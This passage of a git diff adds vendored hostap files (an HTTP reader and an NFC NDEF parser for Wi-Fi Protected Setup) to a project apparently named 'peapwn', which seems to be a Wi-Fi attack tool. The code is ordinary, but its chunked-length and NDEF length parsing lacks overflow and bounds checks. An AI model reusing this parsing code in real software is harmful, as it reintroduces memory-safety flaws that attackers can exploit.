maximum file size else abort it */ + int timeout_seconds; /* 0 or total duration timeout period */ + + /* dynamically used information follows */ + int sd_registered; /* nonzero if we need to unregister socket */ + int to_registered; /* nonzero if we need to unregister timeout */ + + int got_hdr; /* nonzero when header is finalized */ + char hdr[HTTPREAD_HEADER_MAX_SIZE+1]; /* headers stored here */ + int hdr_nbytes; + + enum httpread_hdr_type hdr_type; + int version; /* 1 if we've seen 1.1 */ + int reply_code; /* for type REPLY, e.g. 200 for HTTP/1.1 200 OK */ + int got_content_length; /* true if we know content length for sure */ + int content_length; /* body length, iff got_content_length */ + int chunked; /* nonzero for chunked data */ + char *uri; + + int got_body; /* nonzero when body is finalized */ + char *body; + int body_nbytes; + int body_alloc_nbytes; /* amount allocated */ + + int got_file; /* here when we are done */ + + /* The following apply if data is chunked: */ + int in_chunk_data; /* 0=in/at header, 1=in the data or tail*/ + int chunk_start; /* offset in body of chunk hdr or data */ + int chunk_size; /* data of chunk (not hdr or ending CRLF)*/ + int in_trailer; /* in header fields after data (chunked only)*/ + enum trailer_state { + trailer_line_begin = 0, + trailer_empty_cr, /* empty line + CR */ + trailer_nonempty, + trailer_nonempty_cr, + } trailer_state; +}; + + +/* Check words for equality, where words consist of graphical characters + * delimited by whitespace + * Returns nonzero if "equal" doing case insensitive comparison. + */ +static int word_eq(char *s1, char *s2) +{ + int c1; + int c2; + int end1 = 0; + int end2 = 0; + for (;;) { + c1 = *s1++; + c2 = *s2++; + if (isalpha(c1) && isupper(c1)) + c1 = tolower(c1); + if (isalpha(c2) && isupper(c2)) + c2 = tolower(c2); + end1 = !isgraph(c1); + end2 = !isgraph(c2); + if (end1 || end2 || c1 != c2) + break; + } + return end1 && end2; /* reached end of both words? */ +} + + +/* convert hex to binary + * Requires that c have been previously tested true with isxdigit(). + */ +static int hex_value(int c) +{ + if (isdigit(c)) + return c - '0'; + if (islower(c)) + return 10 + c - 'a'; + return 10 + c - 'A'; +} + + +static void httpread_timeout_handler(void *eloop_data, void *user_ctx); + +/* httpread_destroy -- if h is non-NULL, clean up + * This must eventually be called by the application following + * call of the application's callback and may be called + * earlier if desired. + */ +void httpread_destroy(struct httpread *h) +{ + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, "ENTER httpread_destroy(%p)", h); + if (!h) + return; + + if (h->to_registered) + eloop_cancel_timeout(httpread_timeout_handler, NULL, h); + h->to_registered = 0; + if (h->sd_registered) + eloop_unregister_sock(h->sd, EVENT_TYPE_READ); + h->sd_registered = 0; + os_free(h->body); + os_free(h->uri); + os_memset(h, 0, sizeof(*h)); /* aid debugging */ + h->sd = -1; /* aid debugging */ + os_free(h); +} + + +/* httpread_timeout_handler -- called on excessive total duration + */ +static void httpread_timeout_handler(void *eloop_data, void *user_ctx) +{ + struct httpread *h = user_ctx; + wpa_printf(MSG_DEBUG, "httpread timeout (%p)", h); + h->to_registered = 0; /* is self-cancelling */ + (*h->cb)(h, h->cookie, HTTPREAD_EVENT_TIMEOUT); +} + + +/* Analyze options only so far as is needed to correctly obtain the file. + * The application can look at the raw header to find other options. + */ +static int httpread_hdr_option_analyze( + struct httpread *h, + char *hbp /* pointer to current line in header buffer */ + ) +{ + if (word_eq(hbp, "CONTENT-LENGTH:")) { + while (isgraph(*hbp)) + hbp++; + while (*hbp == ' ' || *hbp == '\t') + hbp++; + if (!isdigit(*hbp)) + return -1; + h->content_length = atol(hbp); + h->got_content_length = 1; + return 0; + } + if (word_eq(hbp, "TRANSFER_ENCODING:") || + word_eq(hbp, "TRANSFER-ENCODING:")) { + while (isgraph(*hbp)) + hbp++; + while (*hbp == ' ' || *hbp == '\t') + hbp++; + /* There should (?) be no encodings of interest + * other than chunked... + */ + if (word_eq(hbp, "CHUNKED")) { + h->chunked = 1; + h->in_chunk_data = 0; + /* ignore possible ; */ + } + return 0; + } + /* skip anything we don't know, which is a lot */ + return 0; +} + + +static int httpread_hdr_analyze(struct httpread *h) +{ + char *hbp = h->hdr; /* pointer into h->hdr */ + int standard_first_line = 1; + + /* First line is special */ + h->hdr_type = HTTPREAD_HDR_TYPE_UNKNOWN; + if (!isgraph(*hbp)) + goto bad; + if (os_strncmp(hbp, "HTTP/", 5) == 0) { + h->hdr_type = HTTPREAD_HDR_TYPE_REPLY; + standard_first_line = 0; + hbp += 5; + if (hbp[0] == '1' && hbp[1] == '.' && + isdigit(hbp[2]) && hbp[2] != '0') + h->version = 1; + while (isgraph(*hbp)) + hbp++; + while (*hbp == ' ' || *hbp == '\t') + hbp++; + if (!isdigit(*hbp)) + goto bad; + h->reply_code = atol(hbp); + } else if (word_eq(hbp, "GET")) + h->hdr_type = HTTPREAD_HDR_TYPE_GET; + else if (word_eq(hbp, "HEAD")) + h->hdr_type = HTTPREAD_HDR_TYPE_HEAD; + else if (word_eq(hbp, "POST")) + h->hdr_type = HTTPREAD_HDR_TYPE_POST; + else if (word_eq(hbp, "PUT")) + h->hdr_type = HTTPREAD_HDR_TYPE_PUT; + else if (word_eq(hbp, "DELETE")) + h->hdr_type = HTTPREAD_HDR_TYPE_DELETE; + else if (word_eq(hbp, "TRACE")) + h->hdr_type = HTTPREAD_HDR_TYPE_TRACE; + else if (word_eq(hbp, "CONNECT")) + h->hdr_type = HTTPREAD_HDR_TYPE_CONNECT; + else if (word_eq(hbp, "NOTIFY")) + h->hdr_type = HTTPREAD_HDR_TYPE_NOTIFY; + else if (word_eq(hbp, "M-SEARCH")) + h->hdr_type = HTTPREAD_HDR_TYPE_M_SEARCH; + else if (word_eq(hbp, "M-POST")) + h->hdr_type = HTTPREAD_HDR_TYPE_M_POST; + else if (word_eq(hbp, "SUBSCRIBE")) + h->hdr_type = HTTPREAD_HDR_TYPE_SUBSCRIBE; + else if (word_eq(hbp, "UNSUBSCRIBE")) + h->hdr_type = HTTPREAD_HDR_TYPE_UNSUBSCRIBE; + else { + } + + if (standard_first_line) { + char *rawuri; + char *uri; + /* skip type */ + while (isgraph(*hbp)) + hbp++; + while (*hbp == ' ' || *hbp == '\t') + hbp++; + /* parse uri. + * Find length, allocate memory for translated + * copy, then translate by changing % + * into represented value. + */ + rawuri = hbp; + while (isgraph(*hbp)) + hbp++; + h->uri = os_malloc((hbp - rawuri) + 1); + if (h->uri == NULL) + goto bad; + uri = h->uri; + while (rawuri < hbp) { + int c = *rawuri; + if (c == '%' && + isxdigit(rawuri[1]) && isxdigit(rawuri[2])) { + *uri++ = (hex_value(rawuri[1]) << 4) | + hex_value(rawuri[2]); + rawuri += 3; + } else { + *uri++ = c; + rawuri++; + } + } + *uri = 0; /* null terminate */ + while (isgraph(*hbp)) + hbp++; + while (*hbp == ' ' || *hbp == '\t') + hbp++; + /* get version */ + if (0 == strncmp(hbp, "HTTP/", 5)) { + hbp += 5; + if (hbp[0] == '1' && hbp[1] == '.' && + isdigit(hbp[2]) && hbp[2] != '0') + h->version = 1; + } + } + /* skip rest of line */ + while (*hbp) + if (*hbp++ == '\n') + break; + + /* Remainder of lines are options, in any order; + * or empty line to terminate + */ + for (;;) { + /* Empty line to terminate */ + if (hbp[0] == '\n' || + (hbp[0] == '\r' && hbp[1] == '\n')) + break; + if (!isgraph(*hbp)) + goto bad; + if (httpread_hdr_option_analyze(h, hbp)) + goto bad; + /* skip line */ + while (*hbp) + if (*hbp++ == '\n') + break; + } + + /* chunked overrides content-length always */ + if (h->chunked) + h->got_content_length = 0; + + /* For some types, we should not try to read a body + * This is in addition to the application determining + * that we should not read a body. + */ + switch (h->hdr_type) { + case HTTPREAD_HDR_TYPE_REPLY: + /* Some codes can have a body and some not. + * For now, just assume that any other than 200 + * do not... + */ + if (h->reply_code != 200) + h->max_bytes = 0; + break; + case HTTPREAD_HDR_TYPE_GET: + case HTTPREAD_HDR_TYPE_HEAD: + /* in practice it appears that it is assumed + * that GETs have a body length of 0... ? + */ + if (h->chunked == 0 && h->got_content_length == 0) + h->max_bytes = 0; + break; + case HTTPREAD_HDR_TYPE_POST: + case HTTPREAD_HDR_TYPE_PUT: + case HTTPREAD_HDR_TYPE_DELETE: + case HTTPREAD_HDR_TYPE_TRACE: + case HTTPREAD_HDR_TYPE_CONNECT: + case HTTPREAD_HDR_TYPE_NOTIFY: + case HTTPREAD_HDR_TYPE_M_SEARCH: + case HTTPREAD_HDR_TYPE_M_POST: + case HTTPREAD_HDR_TYPE_SUBSCRIBE: + case HTTPREAD_HDR_TYPE_UNSUBSCRIBE: + default: + break; + } + + return 0; + +bad: + /* Error */ + return -1; +} + + +/* httpread_read_handler -- called when socket ready to read + * + * Note: any extra data we read past end of transmitted file is ignored; + * if we were to support keeping connections open for multiple files then + * this would have to be addressed. + */ +static void httpread_read_handler(int sd, void *eloop_ctx, void *sock_ctx) +{ + struct httpread *h = sock_ctx; + int nread; + char *rbp; /* pointer into read buffer */ + char *hbp; /* pointer into header buffer */ + char *bbp; /* pointer into body buffer */ + char readbuf[HTTPREAD_READBUF_SIZE]; /* temp use to read into */ + + if (httpread_debug >= 20) + wpa_printf(MSG_DEBUG, "ENTER httpread_read_handler(%p)", h); + + /* read some at a time, then search for the interal + * boundaries between header and data and etc. + */ + nread = read(h->sd, readbuf, sizeof(readbuf)); + if (nread < 0) + goto bad; + if (nread == 0) { + /* end of transmission... this may be normal + * or may be an error... in some cases we can't + * tell which so we must assume it is normal then. + */ + if (!h->got_hdr) { + /* Must at least have completed header */ + wpa_printf(MSG_DEBUG, "httpread premature eof(%p)", h); + goto bad; + } + if (h->chunked || h->got_content_length) { + /* Premature EOF; e.g. dropped connection */ + wpa_printf(MSG_DEBUG, + "httpread premature eof(%p) %d/%d", + h, h->body_nbytes, + h->content_length); + goto bad; + } + /* No explicit length, hopefully we have all the data + * although dropped connections can cause false + * end + */ + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, "httpread ok eof(%p)", h); + h->got_body = 1; + goto got_file; + } + rbp = readbuf; + + /* Header consists of text lines (terminated by both CR and LF) + * and an empty line (CR LF only). + */ + if (!h->got_hdr) { + hbp = h->hdr + h->hdr_nbytes; + /* add to headers until: + * -- we run out of data in read buffer + * -- or, we run out of header buffer room + * -- or, we get double CRLF in headers + */ + for (;;) { + if (nread == 0) + goto get_more; + if (h->hdr_nbytes == HTTPREAD_HEADER_MAX_SIZE) { + goto bad; + } + *hbp++ = *rbp++; + nread--; + h->hdr_nbytes++; + if (h->hdr_nbytes >= 4 && + hbp[-1] == '\n' && + hbp[-2] == '\r' && + hbp[-3] == '\n' && + hbp[-4] == '\r' ) { + h->got_hdr = 1; + *hbp = 0; /* null terminate */ + break; + } + } + /* here we've just finished reading the header */ + if (httpread_hdr_analyze(h)) { + wpa_printf(MSG_DEBUG, "httpread bad hdr(%p)", h); + goto bad; + } + if (h->max_bytes == 0) { + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, + "httpread no body hdr end(%p)", h); + goto got_file; + } + if (h->got_content_length && h->content_length == 0) { + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, + "httpread zero content length(%p)", + h); + goto got_file; + } + } + + /* Certain types of requests never have data and so + * must be specially recognized. + */ + if (!os_strncasecmp(h->hdr, "SUBSCRIBE", 9) || + !os_strncasecmp(h->hdr, "UNSUBSCRIBE", 11) || + !os_strncasecmp(h->hdr, "HEAD", 4) || + !os_strncasecmp(h->hdr, "GET", 3)) { + if (!h->got_body) { + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, + "httpread NO BODY for sp. type"); + } + h->got_body = 1; + goto got_file; + } + + /* Data can be just plain binary data, or if "chunked" + * consists of chunks each with a header, ending with + * an ending header. + */ + if (nread == 0) + goto get_more; + if (!h->got_body) { + /* Here to get (more of) body */ + /* ensure we have enough room for worst case for body + * plus a null termination character + */ + if (h->body_alloc_nbytes < (h->body_nbytes + nread + 1)) { + char *new_body; + int new_alloc_nbytes; + + if (h->body_nbytes >= h->max_bytes) + goto bad; + new_alloc_nbytes = h->body_alloc_nbytes + + HTTPREAD_BODYBUF_DELTA; + /* For content-length case, the first time + * through we allocate the whole amount + * we need. + */ + if (h->got_content_length && + new_alloc_nbytes < (h->content_length + 1)) + new_alloc_nbytes = h->content_length + 1; + if ((new_body = os_realloc(h->body, new_alloc_nbytes)) + == NULL) + goto bad; + + h->body = new_body; + h->body_alloc_nbytes = new_alloc_nbytes; + } + /* add bytes */ + bbp = h->body + h->body_nbytes; + for (;;) { + int ncopy; + /* See if we need to stop */ + if (h->chunked && h->in_chunk_data == 0) { + /* in chunk header */ + char *cbp = h->body + h->chunk_start; + if (bbp-cbp >= 2 && bbp[-2] == '\r' && + bbp[-1] == '\n') { + /* end of chunk hdr line */ + /* hdr line consists solely + * of a hex numeral and CFLF + */ + if (!isxdigit(*cbp)) + goto bad; + h->chunk_size = strtoul(cbp, NULL, 16); + /* throw away chunk header + * so we have only real data + */ + h->body_nbytes = h->chunk_start; + bbp = cbp; + if (h->chunk_size == 0) { + /* end of chunking */ + /* trailer follows */ + h->in_trailer = 1; + if (httpread_debug >= 20) + wpa_printf( + MSG_DEBUG, + "httpread end chunks(%p)", h); + break; + } + h->in_chunk_data = 1; + /* leave chunk_start alone */ + } + } else if (h->chunked) { + /* in chunk data */ + if ((h->body_nbytes - h->chunk_start) == + (h->chunk_size + 2)) { + /* end of chunk reached, + * new chunk starts + */ + /* check chunk ended w/ CRLF + * which we'll throw away + */ + if (bbp[-1] == '\n' && + bbp[-2] == '\r') { + } else + goto bad; + h->body_nbytes -= 2; + bbp -= 2; + h->chunk_start = h->body_nbytes; + h->in_chunk_data = 0; + h->chunk_size = 0; /* just in case */ + } + } else if (h->got_content_length && + h->body_nbytes >= h->content_length) { + h->got_body = 1; + if (httpread_debug >= 10) + wpa_printf( + MSG_DEBUG, + "httpread got content(%p)", h); + goto got_file; + } + if (nread <= 0) + break; + /* Now transfer. Optimize using memcpy where we can. */ + if (h->chunked && h->in_chunk_data) { + /* copy up to remainder of chunk data + * plus the required CR+LF at end + */ + ncopy = (h->chunk_start + h->chunk_size + 2) - + h->body_nbytes; + } else if (h->chunked) { + /*in chunk header -- don't optimize */ + *bbp++ = *rbp++; + nread--; + h->body_nbytes++; + continue; + } else if (h->got_content_length) { + ncopy = h->content_length - h->body_nbytes; + } else { + ncopy = nread; + } + /* Note: should never be 0 */ + if (ncopy > nread) + ncopy = nread; + os_memcpy(bbp, rbp, ncopy); + bbp += ncopy; + h->body_nbytes += ncopy; + rbp += ncopy; + nread -= ncopy; + } /* body copy loop */ + } /* !got_body */ + if (h->chunked && h->in_trailer) { + /* If "chunked" then there is always a trailer, + * consisting of zero or more non-empty lines + * ending with CR LF and then an empty line w/ CR LF. + * We do NOT support trailers except to skip them -- + * this is supported (generally) by the http spec. + */ + bbp = h->body + h->body_nbytes; + for (;;) { + int c; + if (nread <= 0) + break; + c = *rbp++; + nread--; + switch (h->trailer_state) { + case trailer_line_begin: + if (c == '\r') + h->trailer_state = trailer_empty_cr; + else + h->trailer_state = trailer_nonempty; + break; + case trailer_empty_cr: + /* end empty line */ + if (c == '\n') { + h->trailer_state = trailer_line_begin; + h->in_trailer = 0; + if (httpread_debug >= 10) + wpa_printf( + MSG_DEBUG, + "httpread got content(%p)", h); + h->got_body = 1; + goto got_file; + } + h->trailer_state = trailer_nonempty; + break; + case trailer_nonempty: + if (c == '\r') + h->trailer_state = trailer_nonempty_cr; + break; + case trailer_nonempty_cr: + if (c == '\n') + h->trailer_state = trailer_line_begin; + else + h->trailer_state = trailer_nonempty; + break; + } + } + } + goto get_more; + +bad: + /* Error */ + wpa_printf(MSG_DEBUG, "httpread read/parse failure (%p)", h); + (*h->cb)(h, h->cookie, HTTPREAD_EVENT_ERROR); + return; + +get_more: + return; + +got_file: + if (httpread_debug >= 10) + wpa_printf(MSG_DEBUG, + "httpread got file %d bytes type %d", + h->body_nbytes, h->hdr_type); + /* Null terminate for convenience of some applications */ + if (h->body) + h->body[h->body_nbytes] = 0; /* null terminate */ + h->got_file = 1; + /* Assume that we do NOT support keeping connection alive, + * and just in case somehow we don't get destroyed right away, + * unregister now. + */ + if (h->sd_registered) + eloop_unregister_sock(h->sd, EVENT_TYPE_READ); + h->sd_registered = 0; + /* The application can destroy us whenever they feel like... + * cancel timeout. + */ + if (h->to_registered) + eloop_cancel_timeout(httpread_timeout_handler, NULL, h); + h->to_registered = 0; + (*h->cb)(h, h->cookie, HTTPREAD_EVENT_FILE_READY); +} + + +/* httpread_create -- start a new reading session making use of eloop. + * The new instance will use the socket descriptor for reading (until + * it gets a file and not after) but will not close the socket, even + * when the instance is destroyed (the application must do that). + * Return NULL on error. + * + * Provided that httpread_create successfully returns a handle, + * the callback fnc is called to handle httpread_event events. + * The caller should do destroy on any errors or unknown events. + * + * Pass max_bytes == 0 to not read body at all (required for e.g. + * reply to HEAD request). + */ +struct httpread * httpread_create( + int sd, /* descriptor of TCP socket to read from */ + void (*cb)(struct httpread *handle, void *cookie, + enum httpread_event e), /* call on event */ + void *cookie, /* pass to callback */ + int max_bytes, /* maximum body size else abort it */ + int timeout_seconds /* 0; or total duration timeout period */ + ) +{ + struct httpread *h = NULL; + + h = os_zalloc(sizeof(*h)); + if (h == NULL) + goto fail; + h->sd = sd; + h->cb = cb; + h->cookie = cookie; + h->max_bytes = max_bytes; + h->timeout_seconds = timeout_seconds; + + if (timeout_seconds > 0) { + if (eloop_register_timeout(timeout_seconds, 0, + httpread_timeout_handler, + NULL, h)) { + /* No way to recover (from malloc failure) */ + goto fail; + } + h->to_registered = 1; + } + if (eloop_register_sock(sd, EVENT_TYPE_READ, httpread_read_handler, + NULL, h)) { + /* No way to recover (from malloc failure) */ + goto fail; + } + h->sd_registered = 1; + return h; + +fail: + + /* Error */ + httpread_destroy(h); + return NULL; +} + + +/* httpread_hdr_type_get -- When file is ready, returns header type. */ +enum httpread_hdr_type httpread_hdr_type_get(struct httpread *h) +{ + return h->hdr_type; +} + + +/* httpread_uri_get -- When file is ready, uri_get returns (translated) URI + * or possibly NULL (which would be an error). + */ +char * httpread_uri_get(struct httpread *h) +{ + return h->uri; +} + + +/* httpread_reply_code_get -- When reply is ready, returns reply code */ +int httpread_reply_code_get(struct httpread *h) +{ + return h->reply_code; +} + + +/* httpread_length_get -- When file is ready, returns file length. */ +int httpread_length_get(struct httpread *h) +{ + return h->body_nbytes; +} + + +/* httpread_data_get -- When file is ready, returns file content + * with null byte appened. + * Might return NULL in some error condition. + */ +void * httpread_data_get(struct httpread *h) +{ + return h->body ? h->body : ""; +} + + +/* httpread_hdr_get -- When file is ready, returns header content + * with null byte appended. + * Might return NULL in some error condition. + */ +char * httpread_hdr_get(struct httpread *h) +{ + return h->hdr; +} + + +/* httpread_hdr_line_get -- When file is ready, returns pointer + * to line within header content matching the given tag + * (after the tag itself and any spaces/tabs). + * + * The tag should end with a colon for reliable matching. + * + * If not found, returns NULL; + */ +char * httpread_hdr_line_get(struct httpread *h, const char *tag) +{ + int tag_len = os_strlen(tag); + char *hdr = h->hdr; + hdr = os_strchr(hdr, '\n'); + if (hdr == NULL) + return NULL; + hdr++; + for (;;) { + if (!os_strncasecmp(hdr, tag, tag_len)) { + hdr += tag_len; + while (*hdr == ' ' || *hdr == '\t') + hdr++; + return hdr; + } + hdr = os_strchr(hdr, '\n'); + if (hdr == NULL) + return NULL; + hdr++; + } +} diff --git a/peapwn/mods/hostap/src/wps/httpread.h b/peapwn/mods/hostap/src/wps/httpread.h new file mode 100644 index 000000000..454b618bf --- /dev/null +++ b/peapwn/mods/hostap/src/wps/httpread.h @@ -0,0 +1,117 @@ +/* + * httpread - Manage reading file(s) from HTTP/TCP socket + * Author: Ted Merrill + * Copyright 2008 Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HTTPREAD_H +#define HTTPREAD_H + +/* event types (passed to callback) */ +enum httpread_event { + HTTPREAD_EVENT_FILE_READY = 1, /* including reply ready */ + HTTPREAD_EVENT_TIMEOUT = 2, + HTTPREAD_EVENT_ERROR = 3 /* misc. error, esp malloc error */ +}; + + +/* header type detected + * available to callback via call to httpread_reply_code_get() + */ +enum httpread_hdr_type { + HTTPREAD_HDR_TYPE_UNKNOWN = 0, /* none of the following */ + HTTPREAD_HDR_TYPE_REPLY = 1, /* hdr begins w/ HTTP/ */ + HTTPREAD_HDR_TYPE_GET = 2, /* hdr begins with GET */ + HTTPREAD_HDR_TYPE_HEAD = 3, /* hdr begins with HEAD */ + HTTPREAD_HDR_TYPE_POST = 4, /* hdr begins with POST */ + HTTPREAD_HDR_TYPE_PUT = 5, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_DELETE = 6, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_TRACE = 7, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_CONNECT = 8, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_NOTIFY = 9, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_M_SEARCH = 10, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_M_POST = 11, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_SUBSCRIBE = 12, /* hdr begins with ... */ + HTTPREAD_HDR_TYPE_UNSUBSCRIBE = 13, /* hdr begins with ... */ + + HTTPREAD_N_HDR_TYPES /* keep last */ +}; + + +/* control instance -- opaque struct declaration + */ +struct httpread; + + +/* httpread_destroy -- if h is non-NULL, clean up + * This must eventually be called by the application following + * call of the application's callback and may be called + * earlier if desired. + */ +void httpread_destroy(struct httpread *h); + +/* httpread_create -- start a new reading session making use of eloop. + * The new instance will use the socket descriptor for reading (until + * it gets a file and not after) but will not close the socket, even + * when the instance is destroyed (the application must do that). + * Return NULL on error. + * + * Provided that httpread_create successfully returns a handle, + * the callback fnc is called to handle httpread_event events. + * The caller should do destroy on any errors or unknown events. + * + * Pass max_bytes == 0 to not read body at all (required for e.g. + * reply to HEAD request). + */ +struct httpread * httpread_create( + int sd, /* descriptor of TCP socket to read from */ + void (*cb)(struct httpread *handle, void *cookie, + enum httpread_event e), /* call on event */ + void *cookie, /* pass to callback */ + int max_bytes, /* maximum file size else abort it */ + int timeout_seconds /* 0; or total duration timeout period */ + ); + +/* httpread_hdr_type_get -- When file is ready, returns header type. + */ +enum httpread_hdr_type httpread_hdr_type_get(struct httpread *h); + + +/* httpread_uri_get -- When file is ready, uri_get returns (translated) URI + * or possibly NULL (which would be an error). + */ +char *httpread_uri_get(struct httpread *h); + +/* httpread_reply_code_get -- When reply is ready, returns reply code */ +int httpread_reply_code_get(struct httpread *h); + + +/* httpread_length_get -- When file is ready, returns file length. */ +int httpread_length_get(struct httpread *h); + +/* httpread_data_get -- When file is ready, returns file content + * with null byte appened. + * Might return NULL in some error condition. + */ +void * httpread_data_get(struct httpread *h); + +/* httpread_hdr_get -- When file is ready, returns header content + * with null byte appended. + * Might return NULL in some error condition. + */ +char * httpread_hdr_get(struct httpread *h); + +/* httpread_hdr_line_get -- When file is ready, returns pointer + * to line within header content matching the given tag + * (after the tag itself and any spaces/tabs). + * + * The tag should end with a colon for reliable matching. + * + * If not found, returns NULL; + */ +char * httpread_hdr_line_get(struct httpread *h, const char *tag); + +#endif /* HTTPREAD_H */ diff --git a/peapwn/mods/hostap/src/wps/ndef.c b/peapwn/mods/hostap/src/wps/ndef.c new file mode 100644 index 000000000..96685d2bb --- /dev/null +++ b/peapwn/mods/hostap/src/wps/ndef.c @@ -0,0 +1,254 @@ +/* + * NDEF(NFC Data Exchange Format) routines for Wi-Fi Protected Setup + * Reference is "NFCForum-TS-NDEF_1.0 2006-07-24". + * Copyright (c) 2009-2012, Masashi Honma + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include "common.h" +#include "wps/wps.h" + +#define FLAG_MESSAGE_BEGIN (1 << 7) +#define FLAG_MESSAGE_END (1 << 6) +#define FLAG_CHUNK (1 << 5) +#define FLAG_SHORT_RECORD (1 << 4) +#define FLAG_ID_LENGTH_PRESENT (1 << 3) +#define FLAG_TNF_NFC_FORUM (0x01) +#define FLAG_TNF_RFC2046 (0x02) + +struct ndef_record { + const u8 *type; + const u8 *id; + const u8 *payload; + u8 type_length; + u8 id_length; + u32 payload_length; + u32 total_length; +}; + +static char wifi_handover_type[] = "application/vnd.wfa.wsc"; + +static int ndef_parse_record(const u8 *data, u32 size, + struct ndef_record *record) +{ + const u8 *pos = data + 1; + + if (size < 2) + return -1; + record->type_length = *pos++; + if (data[0] & FLAG_SHORT_RECORD) { + if (size < 3) + return -1; + record->payload_length = *pos++; + } else { + if (size < 6) + return -1; + record->payload_length = ntohl(*(u32 *)pos); + pos += sizeof(u32); + } + + if (data[0] & FLAG_ID_LENGTH_PRESENT) { + if ((int) size < pos - data + 1) + return -1; + record->id_length = *pos++; + } else + record->id_length = 0; + + record->type = record->type_length == 0 ? NULL : pos; + pos += record->type_length; + + record->id = record->id_length == 0 ? NULL : pos; + pos += record->id_length; + + record->payload = record->payload_length == 0 ? NULL : pos; + pos += record->payload_length; + + record->total_length = pos - data; + if (record->total_length > size) + return -1; + return 0; +} + + +static struct wpabuf * ndef_parse_records(const struct wpabuf *buf, + int (*filter)(struct ndef_record *)) +{ + struct ndef_record record; + int len = wpabuf_len(buf); + const u8 *data = wpabuf_head(buf); + + while (len > 0) { + if (ndef_parse_record(data, len, &record) < 0) { + wpa_printf(MSG_ERROR, "NDEF : Failed to parse"); + return NULL; + } + if (filter == NULL || filter(&record)) + return wpabuf_alloc_copy(record.payload, + record.payload_length); + data += record.total_length; + len -= record.total_length; + } + wpa_printf(MSG_ERROR, "NDEF : Record not found"); + return NULL; +} + + +static struct wpabuf * ndef_build_record(u8 flags, void *type, + u8 type_length, void *id, + u8 id_length, + const struct wpabuf *payload) +{ + struct wpabuf *record; + size_t total_len; + int short_record; + u8 local_flag; + size_t payload_length = wpabuf_len(payload); + + short_record = payload_length < 256 ? 1 : 0; + + total_len = 2; /* flag + type length */ + /* payload length */ + total_len += short_record ? sizeof(u8) : sizeof(u32); + if (id_length > 0) + total_len += 1; + total_len += type_length + id_length + payload_length; + record = wpabuf_alloc(total_len); + if (record == NULL) { + wpa_printf(MSG_ERROR, "NDEF : Failed to allocate " + "record for build"); + return NULL; + } + + local_flag = flags; + if (id_length > 0) + local_flag |= FLAG_ID_LENGTH_PRESENT; + if (short_record) + local_flag |= FLAG_SHORT_RECORD; + wpabuf_put_u8(record, local_flag); + + wpabuf_put_u8(record, type_length); + + if (short_record) + wpabuf_put_u8(record, payload_length); + else + wpabuf_put_be32(record, payload_length); + + if (id_length > 0) + wpabuf_put_u8(record, id_length); + wpabuf_put_data(record, type, type_length); + wpabuf_put_data(record, id, id_length); + wpabuf_put_buf(record, payload); + return record; +} + + +static int wifi_filter(struct ndef_record *record) +{ + if (record->type_length != os_strlen(wifi_handover_type)) + return 0; + if (os_memcmp(record->type, wifi_handover_type, + os_strlen(wifi_handover_type)) != 0) + return 0; + return 1; +} + + +struct wpabuf * ndef_parse_wifi(const struct wpabuf *buf) +{ + return ndef_parse_records(buf, wifi_filter); +} + + +struct wpabuf * ndef_build_wifi(const struct wpabuf *buf) +{ + return ndef_build_record(FLAG_MESSAGE_BEGIN | FLAG_MESSAGE_END | + FLAG_TNF_RFC2046, wifi_handover_type, + os_strlen(wifi_handover_type), NULL, 0, buf); +} + + +struct wpabuf * ndef_build_wifi_hc(int begin) +{ + struct wpabuf *hc, *carrier; + + carrier = wpabuf_alloc(2 + os_strlen(wifi_handover_type)); + if (carrier == NULL) + return NULL; + wpabuf_put_u8(carrier, 0x02); /* Carrier Type Format */ + wpabuf_put_u8(carrier, os_strlen(wifi_handover_type)); + wpabuf_put_str(carrier, wifi_handover_type); + + hc = ndef_build_record((begin ? FLAG_MESSAGE_BEGIN : 0) | + FLAG_MESSAGE_END | FLAG_TNF_NFC_FORUM, "Hc", 2, + "0", 1, carrier); + wpabuf_free(carrier); + + return hc; +} + + +struct wpabuf * ndef_build_wifi_hr(void) +{ + struct wpabuf *rn, *cr, *ac_payload, *ac, *hr_payload, *hr; + struct wpabuf *hc; + + rn = wpabuf_alloc(2); + if (rn == NULL) + return NULL; + wpabuf_put_be16(rn, os_random() & 0xffff); + + cr = ndef_build_record(FLAG_MESSAGE_BEGIN | FLAG_TNF_NFC_FORUM, "cr", 2, + NULL, 0, rn); + wpabuf_free(rn); + + if (cr == NULL) + return NULL; + + ac_payload = wpabuf_alloc(4); + if (ac_payload == NULL) { + wpabuf_free(cr); + return NULL; + } + wpabuf_put_u8(ac_payload, 0x01); /* Carrier Flags: CRS=1 "active" */ + wpabuf_put_u8(ac_payload, 0x01); /* Carrier Data Reference Length */ + wpabuf_put_u8(ac_payload, '0'); /* Carrier Data Reference: "0" */ + wpabuf_put_u8(ac_payload, 0); /* Aux Data Reference Count */ + + ac = ndef_build_record(FLAG_MESSAGE_END | FLAG_TNF_NFC_FORUM, "ac", 2, + NULL, 0, ac_payload); + wpabuf_free(ac_payload); + if (ac == NULL) { + wpabuf_free(cr); + return NULL; + } + + hr_payload = wpabuf_alloc(1 + wpabuf_len(cr) + wpabuf_len(ac)); + if (hr_payload == NULL) { + wpabuf_free(cr); + wpabuf_free(ac); + return NULL; + } + + wpabuf_put_u8(hr_payload, 0x12); /* Connection Handover Version 1.2 */ + wpabuf_put_buf(hr_payload, cr); + wpabuf_put_buf(hr_payload, ac); + wpabuf_free(cr); + wpabuf_free(ac); + + hr = ndef_build_record(FLAG_MESSAGE_BEGIN | FLAG_TNF_NFC_FORUM, "Hr", 2, + NULL, 0, hr_payload); + wpabuf_free(hr_payload); + if (hr == NULL) + return NULL; + + hc = ndef_build_wifi_hc(0); + if (hc == NULL) { + wpabuf_free(hr); + return NULL; + } + + return wpabuf_concat(hr, hc); +} diff --git 